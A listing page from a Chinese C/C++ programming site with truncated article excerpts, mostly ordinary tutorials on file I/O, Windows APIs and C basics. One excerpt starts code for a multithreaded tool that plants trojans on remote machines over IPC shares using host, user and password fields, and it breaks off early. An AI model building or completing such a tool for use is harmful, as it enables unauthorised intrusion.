欢迎访问 水平网    今天是:2017年11月19日 注册 | 登录 | 订阅 | 收藏
推荐文章
热点文章
专题
JQuery框架
Prototype.js
HTML5

Visual C++实现文件间批量转换功能

一、前言  本人在开发惠普色谱工作站增强软件的过程中,实现了把指定目录下的色谱数据文件全部转换成纯文本文件的功能。下面,通过用一个具体的例子来说明此功能的实现方法。  全部代码用Visual C++6.0在Windows95/98/2000下编译通过。  二、实例  首先用MFC AppWizard生成一个SDI风格的应用程序test,生成过程中全部使用缺省设置。  其次,利用资源编辑器,在主菜单“文件”下增加一个菜单项“转换”,属性为:   ID:ID_CONVERT   Caption: 转换   Prompt: 在不同格式文件之间进行转换\\n转换文件  然后用“CTRL-W”热键激活MFC ClassWizard,为CmainF...
类别:C/S程序开发 - C/C++,阅读:773,更新:2015-04-10

C/C++项目中的代码复用和管理

一 模块功能单一化 模块的功能要单一,这似乎是人尽皆知的原则。但是在编码设计过程中,并不是谁都能小心的处理这个问题。 首先举一个实际中的例子:在我们的Capsuit的“安全检查”部件的开发过程中,我们开发了一个模块,用于其他模块输出Log.假设这个模块输出一个函数,叫做LogOutput,只要调用这个函数,就可以输出Log到某一个文件中。这个函数定义如下: void LogOutput(const TCHAR *format,…);这个模块需要初始化,初始化的过程,有一步是从配置文件中,得到Log文件的路径。bool LogInit() { CString log_file_path = CfgFile::GetLogFilePath(); if(log_file_path.IsEmpty()) return false; &he...
类别:C/S程序开发 - C/C++,阅读:681,更新:2015-04-10

VC++多线远程IPC程种植木马

主要实现代码如下/////////////////////////////////////////////////////////////////////////////////////typedef struct TagHost{CString host;CString user;CString pass;CString filename;CString LocalFilePath;CListBox* list;}IPC;void CShareDlg::OnStart() 启动线程序{  UpdateData(TRUE);  IPC* ipc = new IPC;  ipc->host = m_host;  ipc->user = m_user;  ipc->pass = m_pass;  ipc->LocalFilePath = m_localfile;  ipc->filename = filename;  ipc->list = &m_list;  AfxBeginThread(ThreadIpcConnect,ipc);}线程///////////////////////...
类别:C/S程序开发 - C/C++,阅读:787,更新:2015-04-10

用VC++实现Windows2000/XP下的休眠

实现休眠功能很简单,只要在任意想要执行的地方执行如下给出的休眠函数SetPower()就行,其实休眠很简单,只需要API:SetSystemPowerState()就行,就如关机/注销/重启一样,只需要ExitWindowEx(),但这些API可以直接用在98下,却不能用在2000/XP中,因为这里牵涉到了用户权限,没有权限是不能进行这些操作的,所以,首先要取得权限,下面给出代码:  #define RTN_ERROR 13  void PERR(LPTSTR szAPI, DWORD dwLastError) //休眠时调用到的一个函数,用来  ////记录休眠中遇到的错误  {  LPTSTR MessageBuffer;  DWORD dwBufferLength;  fprintf(stderr,"%s error! (rc=%lu)n"...
类别:C/S程序开发 - C/C++,阅读:616,更新:2015-04-10

EVC++开发实例之浏览器窗口

曾有人问过我关于显示GIF图片的问题。我的回答是要么使用国外做的专用于显示GIF图片的类,要么利用IWebBrowser COM组件。我还说过我用它做过自定义的IE。其实微软提供了CE下IE的源程序,就是利用这个组件来实现IE的各个功能的。我做IE是因为Windows CE自带的IE在各个方面都不符合我们的要求,于是我在IE源程序的基础上编写了符合我们要求的浏览器。这篇文章并不是要讲解如何做浏览器,而是用IWebBrowser组件来显示GIF、JPG图片,当然也能够显示网页。做浏览器要比只显示图片、网页要复杂的多。  在Pocket PC下开发的人多数会感到奇怪,不是有HtmlView吗?怎么还要自己写啊。因为微软为Pocket PC...
类别:C/S程序开发 - C/C++,阅读:744,更新:2015-04-10

让c语言和c++中的“a++,++a”永远不是问题

这里主要研究一下c语言和c++中的a++,++a有分双操做数和多操做数之分双操做数:在语言中定义a++是先用后加,++a是先加后用。实际上对双操做数来说的是在一个语句中结束前加和后加的问题 。即如k=(++a)+(a++);a++是语句结束后在后加,++a是先加后计算再语句结束。我举几个例子(用反汇编说明)1 int k=2;int val=0;val=(k++)+(k++);反汇编8: int k=2;00401028 mov dword ptr [ebp-4],2//// k的地址是dword ptr [ebp-4]9: int val=0; 0040102F mov dword ptr [ebp-8],0//val的地址是dword ptr [ebp-8]10: val=(k++)+(k++);00401036 mov eax,dword ptr [ebp-4]// 把2放入eax中00401039 add eax,dword ptr [ebp-4]// 把2+2=4放入eax中0040103C mov dw...
类别:C/S程序开发 - C/C++,阅读:590,更新:2015-04-10

用VC++编程控制计算机和光驱

通常有些程序在初次使用使用时,要进行一些象安装特定字体的设置,之后需要重新启动计算机使之生效;而在一些多媒体软件编程中会用到用程序操纵CD_ROM的开与关的情况。为了说明在VC中实现这两项功能的方法,我们创建一个基于对话框、名为Control的工程。对话框的外观如图1所示,其中四个按钮(Button)属性设置见下表,   ID Caption  IDC_SHUTDOWNCOMPUTER 关闭计算机...  IDC_RESTARTCOMPUTER 重新启动计算机  IDC_OPENCDROM 打开CD-ROM  IDC_CLOSECDROM 关闭CD-ROM  (1) 重新启动计算机  先获取操作系统版本,然后调用ExitWindowsEx函数...
类别:C/S程序开发 - C/C++,阅读:712,更新:2015-04-10

eMbedded Visual C++开发入门

任何一个学过编程的朋友都对HELLO不会陌生,但这次的这个和以前的不太一样,它是一个特别的程序,不是在功能上,是在思想上。这是一个非常经典的程序,本不想列出这个程序,但这是WINCE编程的典型框架,写出它可以让我们对WINCE的程序有一个很直观的认识。还有一个重要的原因是,这个例子程序给出了一个新的代码风格,和以前的WIN32程序有所不同,我十分欣赏这种代码的或者说程序结构,因此便再一次将这个程序写出。不过我做了一些小小的变动。主要的目的:  1、了解WINCE程序的结构和原理  2、欣赏并学习一种非常优美的代码风格  3、了解使用EVC编写WINCE程序的方法(介绍IDE)  打开eMbedded VC+...
类别:C/S程序开发 - C/C++,阅读:768,更新:2015-04-10

C语言基础教程:复制文本文件的内容到另一个文件

#include"stdio.h"main(){FILE*fp_in,*fp_out;charinfile[20],outfile[20];p rintf("Entertheinfilename:\\n");scanf("%s",infile);p rintf("Entertheoutfilename:\\n");scanf("%s",outfile);if((fp_in=fopen(infile,"r"))==NULL){ printf("Can\'t openfile%s\\n",infile);getchar();exit(0);}if((fp_out=fopen(outfile,"w"))==NULL){ p rintf("can\'t openfile%s\\n",outfile);getchar();exit(0);}while(!feof(fp_in))fputc(fgetc(fp_in),fp_out);fclose(fp_in);fclose(fp_out);}以上程序是按文本文件方式处理的,也可以用此程序来复...
类别:C/S程序开发 - C/C++,阅读:939,更新:2015-04-10

C语言基础教程:数组的初始化

数组初始化C语言允许在说明时对全局数组和静态局部数组初始化,但不能对非静态局部数组初始化。与其它变量相似,数组初始化的一般形式如下:type-specifier array_name[size1]...[sizen]={value-list};数值表是一个由逗号分隔的常量表。这些常量的类型与类型说明相容,第一个常量存入数组的第一个单元,第二个常量存入第二个单元,等等,注意在括号“ }”后要加上分号。下列中一个1 0元素整型数组被初始化装入数字1到1 0:int i[10]={1,2,3,4,5,6,7,8,9,1 0 } ;这意味着i [ 0 ]的值为1,而i [ 9 ]的值为1 0。存放字符串的字符数组的初始化可采用如下简化的形式:char array_name[size] = "string";例如,以下代码段...
类别:C/S程序开发 - C/C++,阅读:614,更新:2015-04-10

C语言基础教程:预处理

概述  在前面各章中,已多次使用过以“#”号开头的预处理命令。如包含命令# include,宏定义命令# define等。在源程序中这些命令都放在函数之外, 而且一般都放在源文件的前面,它们称为预处理部分。  所谓预处理是指在进行编译的第一遍扫描(词法扫描和语法分析)之前所作的工作。预处理是C语言的一个重要功能, 它由预处理程序负责完成。当对一个源文件进行编译时, 系统将自动引用预处理程序对源程序中的预处理部分作处理, 处理完毕自动进入对源程序的编译。  C语言提供了多种预处理功能,如宏定义、文件包含、 条件编译等。合理地使用预处理功能编写的程序便于阅读、修改、 移植和调试,也有利于模块化程序设计。本章介绍常...
类别:C/S程序开发 - C/C++,阅读:12038,更新:2015-04-10

C语言基础教程:函数

C程序是由一组或是变量或是函数的外部对象组成的。 函数是一个自我包含的完成一定相关功能的执行代码段。我们可以把函数看成一个"黑盒子", 你只要将数据送进去就能得到结果, 而函数内部究竟是如何工作的的, 外部程序是不知道的。 外部程序所知道的仅限于输入给函数什么以及函数输出什么。函数提供了编制程序的手段, 使之容易读、写、理解、排除错误、修改和维护。 C程序中函数的数目实际上是不限的, 如果说有什么限制的话, 那就是, 一个C程序中必须至少有一个函数, 而且其中必须有一个并且仅有一个以main为名, 这个函数称为主函数, 整个程序从这个主函数开始执行。 C 语言程序鼓励和提倡人们把一个大问题划分成一个个子问题, 对应于...
类别:C/S程序开发 - C/C++,阅读:502,更新:2015-04-10